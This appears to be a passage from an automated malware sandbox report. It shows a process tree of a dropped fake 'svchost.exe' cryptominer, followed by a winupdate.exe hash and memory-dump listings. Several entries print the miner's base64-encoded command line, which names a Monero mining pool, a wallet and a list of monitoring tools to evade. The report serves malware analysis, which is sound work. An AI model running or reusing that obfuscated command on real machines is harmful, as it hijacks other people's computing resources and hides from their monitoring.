                                        conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                        8⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        PID:4764
                                      • C:\Windows\system32\conhost.exe
                                        C:\Windows\system32\conhost.exe
                                        8⤵
                                          PID:588
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                            9⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            PID:2600
                                            • C:\Windows\system32\conhost.exe
                                              conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                              10⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of FindShellTrayWindow
                                              PID:4152
                                            • C:\Windows\system32\conhost.exe
                                              C:\Windows\system32\conhost.exe
                                              10⤵
                                                PID:4200
                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                          "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:4240
                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:3256
                                      • C:\Windows\system32\conhost.exe
                                        conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                        6⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        PID:3240
                                      • C:\Windows\system32\conhost.exe
                                        C:\Windows\system32\conhost.exe
                                        6⤵
                                          PID:4520
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:4612
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:5380
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        PID:2984
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        PID:5512
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:4948
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:5236
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:6068

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    winupdate.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\winupdate.exe
                                    • Size 7.5MB
                                    • SHA256 4b6fc5753ba1f4f6b3147e5f5d9653090436d93d2c757ca2b1c426ea6025b8a9
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    memory/1076-75-0x00007FF789070000-0x00007FF7897EF000-memory.dmp
                                    Download

                                    memory/2520-77-0x000001E438200000-0x000001E438201000-memory.dmp
                                    Download

                                    memory/2520-76-0x000001E437A10000-0x000001E4381FE000-memory.dmp
                                    Download

                                    memory/2988-30-0x0000025552E50000-0x0000025552F5E000-memory.dmp
                                    Download

                                    memory/2988-27-0x0000025552E50000-0x0000025552F5E000-memory.dmp
                                    Download

                                    memory/2988-33-0x0000025552E50000-0x0000025552F5E000-memory.dmp
                                    Download

                                    memory/2988-28-0x0000025552F60000-0x0000025552F61000-memory.dmp
                                    Download

                                    memory/3036-37-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-21-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-38-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-40-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-39-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-36-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-35-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-34-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-107-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-12-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-24-0x000001D562E60000-0x000001D562E80000-memory.dmp
                                    Download

                                    memory/3036-23-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-22-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-26-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-9-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-19-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-17-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-13-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-14-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-11-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-10-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-18-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-7-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-16-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-15-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-8-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/3036-6-0x000001D561380000-0x000001D561381000-memory.dmp
                                    Download

                                    memory/3036-5-0x000001D560B90000-0x000001D56137E000-memory.dmp
                                    Download

                                    memory/4352-43-0x00007FF789070000-0x00007FF7897EF000-memory.dmp
                                    Download

                                    memory/4352-65-0x00007FF789070000-0x00007FF7897EF000-memory.dmp
                                    Download

                                    memory/4828-20-0x00007FF797740000-0x00007FF797EBF000-memory.dmp
                                    Download

                                    memory/4828-32-0x00007FF797740000-0x00007FF797EBF000-memory.dmp
                                    Download

                                    memory/4980-79-0x0000012EC3CB0000-0x0000012EC3CB1000-memory.dmp
                                    Download

                                    memory/5788-55-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-53-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-70-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-68-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-69-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-67-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-72-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-60-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-59-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-56-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-73-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-54-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-52-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-71-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-49-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-48-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-47-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-57-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-51-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-50-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-46-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-45-0x0000028215910000-0x0000028215911000-memory.dmp
                                    Download

                                    memory/5788-58-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/5788-44-0x0000028215120000-0x000002821590E000-memory.dmp
                                    Download

                                    memory/6116-62-0x000001D625870000-0x000001D62597E000-memory.dmp
                                    Download

                                    memory/6116-63-0x000001D625980000-0x000001D625981000-memory.dmp
                                    Download

                                    memory/6116-64-0x000001D625870000-0x000001D62597E000-memory.dmp
                                    Download